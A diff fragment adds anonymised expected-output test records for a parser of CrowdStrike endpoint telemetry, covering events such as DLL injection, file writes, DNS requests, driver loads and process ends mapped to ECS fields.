+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "540271348",
+                "ContextProcessId": "3006607000981",
+                "ContextTimeStamp": "2025-09-18T01:35:28.572Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "InjectedDll": "82\\9134161b\\f3acb4df\\a89bcae.dll",
+                "InjectedThreadFlag": "530",
+                "RawThreadId": "5008",
+                "TargetThreadId": "505479000700240",
+                "ThreadStartAddress": "947500501770690",
+                "ThreadStartContext": "9177300087920",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "92855d0df8f2251c1dfe0bd7d56a97128a25",
+                "name": "8b6eec62b5f5f7"
+            },
+            "device": {
+                "id": "8fb3daf730de8e73c353f0c4137a51b5"
+            },
+            "event": {
+                "action": "DllInjection",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "92855d0df8f2251c1dfe0bd7d56a97128a25|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"DllInjection\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"530\",\"ContextTimeStamp\":\"1758159328.572\",\"ConfigStateHash\":\"540271348\",\"ContextProcessId\":\"3006607000981\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"ThreadStartContext\":\"9177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"96\",\"name\":\"8b6eec62b5f5f7\",\"EventOrigin\":\"1\",\"RawThreadId\":\"5008\",\"id\":\"92855d0df8f2251c1dfe0bd7d56a97128a25\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"InjectedDll\":\"82\\\\9134161b\\\\f3acb4df\\\\a89bcae.dll\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "8fb3daf730de8e73c353f0c4137a51b5",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DllInjection",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "8fb3daf730de8e73c353f0c4137a51b5",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "3000303437040",
+                "pid": 7310,
+                "thread": {
+                    "id": 140004900194068
+                }
+            },
+            "related": {
+                "hash": [
+                    "540271348"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "864",
+                "ConfigStateHash": "450007109",
+                "ContextBaseFileName": "77b1704b6a85",
+                "ContextProcessId": "60860076031000",
+                "ContextTimeStamp": "2025-05-09T15:22:18.874Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "FileCategory": "9",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-13859-13680-73630",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16",
+                "name": "bf62ca8a93b1c6730"
+            },
+            "device": {
+                "id": "61f77498beebf89847bcda33f8541689"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "b44b58becebd48898306ffd6600bf3f42c16|61f77498beebf89847bcda33f8541689|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-13859-13680-73630\",\"ContextBaseFileName\":\"77b1704b6a85\",\"FileCategory\":\"9\",\"Size\":\"50050070\",\"ContextThreadId\":\"600003001070039\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\c23eadb9\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DmpFileWritten\",\"ContextTimeStamp\":\"1746804138.874\",\"ConfigStateHash\":\"450007109\",\"ContextProcessId\":\"60860076031000\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"864\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"16\",\"name\":\"bf62ca8a93b1c6730\",\"OperationFlags\":\"0\",\"aid\":\"61f77498beebf89847bcda33f8541689\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\6666d9f1\\\\d140261e\\\\0f51ad6\\\\8c31e\\\\036b01a3\\\\50f6b654.dmp\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "device": "835\\b9e65ff8\\c23eadb9",
+                "directory": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3",
+                "extension": "dmp",
+                "inode": "c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae",
+                "name": "50f6b654.dmp",
+                "path": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp",
+                "size": 50050070,
+                "type": "file"
+            },
+            "host": {
+                "id": "61f77498beebf89847bcda33f8541689",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DmpFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "61f77498beebf89847bcda33f8541689",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "60860076031000",
+                "name": "77b1704b6a85",
+                "thread": {
+                    "id": 600003001070039
+                }
+            },
+            "related": {
+                "hash": [
+                    "450007109"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "S-13859-13680-73630"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-13859-13680-73630"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "CNAMERecords": "0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823",
+                "ConfigStateHash": "1263130834",
+                "ContextBaseFileName": "c43bc2658",
+                "ContextProcessId": "5002051210496",
+                "ContextTimeStamp": "2025-06-01T02:27:02.996Z",
+                "DnsRequestCount": 1,
+                "DnsResponseType": "2",
+                "DualRequest": "1",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "FirstIP4Record": "216.160.83.56",
+                "IP4Records": "14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;",
+                "InterfaceIndex": 0,
+                "QueryStatus": "0",
+                "RespondingDnsServer": "89.160.20.112",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5",
+                "name": "76e889534419"
+            },
+            "device": {
+                "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7"
+            },
+            "dns": {
+                "question": {
+                    "name": "2ca55df2a79d27d771dacfc7ae97",
+                    "type": "CDS"
+                },
+                "type": "query"
+            },
+            "event": {
+                "action": "DnsRequest",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "77a6567f5ba2f4450eb816e24c5b0258f4b5|98148f3ab8db6d0cad5ad44fc9f4f5c7|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"c43bc2658\",\"DnsResponseType\":\"2\",\"IP4Records\":\"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;\",\"ContextThreadId\":\"908409701000008\",\"aip\":\"81.2.69.142\",\"CNAMERecords\":\"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823\",\"QueryStatus\":\"0\",\"InterfaceIndex\":\"0\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"EventOrigin\":\"1\",\"id\":\"77a6567f5ba2f4450eb816e24c5b0258f4b5\",\"EffectiveTransmissionClass\":\"3\",\"FirstIP4Record\":\"216.160.83.56\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1748744822.996\",\"ConfigStateHash\":\"1263130834\",\"ContextProcessId\":\"5002051210496\",\"DomainName\":\"2ca55df2a79d27d771dacfc7ae97\",\"RespondingDnsServer\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DnsRequestCount\":\"1\",\"Entitlements\":\"56\",\"name\":\"76e889534419\",\"aid\":\"98148f3ab8db6d0cad5ad44fc9f4f5c7\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}",
+                "outcome": "success",
+                "type": [
+                    "protocol"
+                ]
+            },
+            "host": {
+                "id": "98148f3ab8db6d0cad5ad44fc9f4f5c7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DnsRequest",
+            "network": {
+                "protocol": "dns"
+            },
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "98148f3ab8db6d0cad5ad44fc9f4f5c7",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "5002051210496",
+                "name": "c43bc2658",
+                "thread": {
+                    "id": 908409701000008
+                }
+            },
+            "related": {
+                "hash": [
+                    "1263130834"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "2080025170",
+                "ContextProcessId": "7202603200007",
+                "ContextTimeStamp": "2025-11-12T18:10:58.579Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "InjectedThreadFlag": "85",
+                "RawThreadId": "53040",
+                "SourceThreadStartAddress": "970004800500552",
+                "TargetThreadId": "209175000090105",
+                "ThreadStartAddress": "90100003090313109007",
+                "ThreadStartContext": "60307800056300500065",
+                "UserThread": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "14a56745976c34e322ccc9af234e692acf35",
+                "name": "107f10bd7e2cf68ce87171d8f974b76"
+            },
+            "device": {
+                "id": "73204dfc79175de6cc76f2ae7674dc76"
+            },
+            "event": {
+                "action": "DocumentProgramInjectedThread",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "14a56745976c34e322ccc9af234e692acf35|73204dfc79175de6cc76f2ae7674dc76|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ThreadStartAddress\":\"90100003090313109007\",\"InjectedThreadFlag\":\"85\",\"ContextThreadId\":\"100705003833870\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"UserThread\":\"0\",\"EventOrigin\":\"1\",\"id\":\"14a56745976c34e322ccc9af234e692acf35\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DocumentProgramInjectedThread\",\"TargetThreadId\":\"209175000090105\",\"RawProcessId\":\"90010\",\"ContextTimeStamp\":\"1762971058.579\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"7202603200007\",\"ThreadStartContext\":\"60307800056300500065\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"TargetProcessId\":\"7602000306800\",\"Entitlements\":\"96\",\"name\":\"107f10bd7e2cf68ce87171d8f974b76\",\"RawThreadId\":\"53040\",\"aid\":\"73204dfc79175de6cc76f2ae7674dc76\",\"SourceThreadStartAddress\":\"970004800500552\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "access",
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "73204dfc79175de6cc76f2ae7674dc76",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DocumentProgramInjectedThread",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "73204dfc79175de6cc76f2ae7674dc76",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "7602000306800",
+                "pid": 90010,
+                "thread": {
+                    "id": 100705003833870
+                }
+            },
+            "related": {
+                "hash": [
+                    "2080025170"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticodeHashDataSHA256": "1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f",
+                "CompanyName": "5951da04edaa9198b1b04",
+                "ConfigStateHash": "4001039063",
+                "ContextProcessId": "917013009605",
+                "ContextTimeStamp": "2025-06-17T00:02:43.660Z",
+                "DriverLoadFlags": "0",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "45",
+                "FileVersion": "359b2589a3456ff7703750b83f34717d70893f",
+                "FixedFileVersion": "4a.5.36b21.78c5",
+                "ImageCheckSum": "30890",
+                "ImageEntryPoint": "60900",
+                "ImageTimeStamp": "7506201701",
+                "OriginalFilename": "c11d9e9772e",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "8f8e5d48a0828ec900552833b592f6bf3137",
+                "name": "971d60ec4961"
+            },
+            "device": {
+                "id": "eb87d6ed52531c4d56701eb0f3bdef5d"
+            },
+            "dll": {
+                "hash": {
+                    "md5": "7d60d20014499abbe980e8a3e9d3e480",
+                    "sha256": "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a"
+                },
+                "name": "2080358.sys",
+                "path": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys",
+                "pe": {
+                    "original_file_name": "c11d9e9772e"
+                }
+            },
+            "event": {
+                "action": "load",
+                "category": [
+                    "driver"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "8f8e5d48a0828ec900552833b592f6bf3137|eb87d6ed52531c4d56701eb0f3bdef5d|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"AuthenticodeHashDataSHA256\":\"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f\",\"ContextThreadId\":\"85060031003208\",\"aip\":\"81.2.69.142\",\"CompanyName\":\"5951da04edaa9198b1b04\",\"event_platform\":\"Win\",\"OriginalFilename\":\"c11d9e9772e\",\"FileVersion\":\"359b2589a3456ff7703750b83f34717d70893f\",\"ImageCheckSum\":\"30890\",\"EventOrigin\":\"45\",\"id\":\"8f8e5d48a0828ec900552833b592f6bf3137\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DriverLoad\",\"ContextTimeStamp\":\"1750118563.660\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"917013009605\",\"DriverLoadFlags\":\"0\",\"ImageEntryPoint\":\"60900\",\"MD5HashData\":\"7d60d20014499abbe980e8a3e9d3e480\",\"SHA256HashData\":\"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FixedFileVersion\":\"4a.5.36b21.78c5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a715181\\\\2080358.sys\",\"ImageTimeStamp\":\"7506201701\",\"Entitlements\":\"96\",\"name\":\"971d60ec4961\",\"aid\":\"eb87d6ed52531c4d56701eb0f3bdef5d\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "eb87d6ed52531c4d56701eb0f3bdef5d",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DriverLoad",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "eb87d6ed52531c4d56701eb0f3bdef5d",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "917013009605",
+                "thread": {
+                    "id": 85060031003208
+                }
+            },
+            "related": {
+                "hash": [
+                    "7d60d20014499abbe980e8a3e9d3e480",
+                    "eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a",
+                    "4001039063"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "8650000",
+                "ConfigStateHash": "2080025170",
+                "ContextBaseFileName": "4e526e33d5",
+                "ContextProcessId": "5924007850208",
+                "ContextTimeStamp": "2025-11-14T17:55:57.475Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "FileCategory": "4",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-12089-81901-75723-71071-93418-35753-29602",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "1",
+                "IsOnRemovableDisk": "0",
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "1a93966150b37eeb4506fb5d576569366fbe",
+                "name": "73a9d655524e1b4a5"
+            },
+            "device": {
+                "id": "8a519558e0f7e42814948bf046b8e5c8"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "1a93966150b37eeb4506fb5d576569366fbe|8a519558e0f7e42814948bf046b8e5c8|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"FileOperatorSid\":\"S-12089-81901-75723-71071-93418-35753-29602\",\"ContextBaseFileName\":\"4e526e33d5\",\"FileCategory\":\"4\",\"Size\":\"100488\",\"ContextThreadId\":\"118504067206871\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.144\",\"IsOnNetwork\":\"1\",\"FileIdentifier\":\"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"1a93966150b37eeb4506fb5d576569366fbe\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DwgFileWritten\",\"ContextTimeStamp\":\"1763142957.475\",\"ConfigStateHash\":\"2080025170\",\"ContextProcessId\":\"5924007850208\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"8650000\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"73a9d655524e1b4a5\",\"OperationFlags\":\"0\",\"aid\":\"8a519558e0f7e42814948bf046b8e5c8\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\fef\\\\778d6b84\\\\cf0dca8d\\\\e747bc\\\\a4d268\\\\0d\\\\0caedded\\\\04e2a972\\\\0a032162\\\\1ce31250\\\\ab51ae45\\\\70acbb39\\\\bbac47ce.tmp\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39",
+                "extension": "tmp",
+                "inode": "78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286",
+                "name": "bbac47ce.tmp",
+                "path": "\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp",
+                "size": 100488,
+                "type": "file"
+            },
+            "host": {
+                "id": "8a519558e0f7e42814948bf046b8e5c8",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "DwgFileWritten",
+            "observer": {
+                "address": [
+                    "81.2.69.144"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "serial_number": "8a519558e0f7e42814948bf046b8e5c8",
+                "version": "2c8b.4.bab7095.e6"
+            },
+            "process": {
+                "entity_id": "5924007850208",
+                "name": "4e526e33d5",
+                "thread": {
+                    "id": 118504067206871
+                }
+            },
+            "related": {
+                "hash": [
+                    "2080025170"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "S-12089-81901-75723-71071-93418-35753-29602"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-12089-81901-75723-71071-93418-35753-29602"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConHostId": "6810",
+                "ConHostProcessId": "2000300900003",
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "5040620588024",
+                "ContextTimeStamp": "2025-09-22T01:02:18.869Z",
+                "CycleTime": 380603073,
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "46",
+                "EventOrigin": "45",
+                "ImageSubsystem": "2",
+                "KernelTime": 0,
+                "MaxThreadCount": 7,
+                "SHA256HashData": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423",
+                "UserTime": 0,
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f3b8bd9b2757d9904f845a44ff61827fa755",
+                "name": "e8d15f653d9c08b"
+            },
+            "device": {
+                "id": "3b473364ed16d25221bdb0b435aac52a"
+            },
+            "event": {
+                "action": "EndOfProcess",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f3b8bd9b2757d9904f845a44ff61827fa755|3b473364ed16d25221bdb0b435aac52a|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ExitCode\":\"0\",\"ParentProcessId\":\"2000300900003\",\"ContextThreadId\":\"632014600074400\",\"aip\":\"216.160.83.56\",\"ConHostId\":\"6810\",\"UserSid\":\"S-78552-69545-47377\",\"CycleTime\":\"380603073\",\"event_platform\":\"Win\",\"ConHostProcessId\":\"2000300900003\",\"MaxThreadCount\":\"7\",\"EventOrigin\":\"45\",\"ImageSubsystem\":\"2\",\"id\":\"f3b8bd9b2757d9904f845a44ff61827fa755\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"KernelTime\":\"0\",\"UserTime\":\"0\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"42084\",\"ContextTimeStamp\":\"1758502938.869\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"5040620588024\",\"SHA256HashData\":\"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"8040620588024\",\"Entitlements\":\"46\",\"name\":\"e8d15f653d9c08b\",\"ProcessStartTime\":\"1745927326.269\",\"aid\":\"3b473364ed16d25221bdb0b435aac52a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "id": "3b473364ed16d25221bdb0b435aac52a",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "EndOfProcess",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "3b473364ed16d25221bdb0b435aac52a",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "8040620588024",
+                "exit_code": 0,
+                "hash": {
+                    "sha256": "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423"
+                },
+                "parent": {
+                    "entity_id": "2000300900003"
+                },
+                "pid": 42084,
+                "start": "2025-04-29T11:48:46.269Z",
+                "thread": {
+                    "id": 632014600074400
+                }
+            },
+            "related": {
+                "hash": [
+                    "f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423",
+                    "710307050"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "S-78552-69545-47377"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-78552-69545-47377"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ContextProcessId": "9001004100012",
+                "ContextTimeStamp": "2025-08-05T18:35:25.502Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "96",
+                "EventOrigin": "1",
+                "FileObject": "0",
+                "IrpFlags": "1730",
+                "MajorFunction": "40",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1",
+                "name": "a1721c8914da805eb47"
+            },
+            "device": {
+                "id": "39074f37291ca6f2d189c1e110e04dfc"
+            },
+            "event": {
+                "action": "ExecutableDeleted",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "b43f550a47cfaab7904ddcd4c778b2d7d2e1|39074f37291ca6f2d189c1e110e04dfc|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
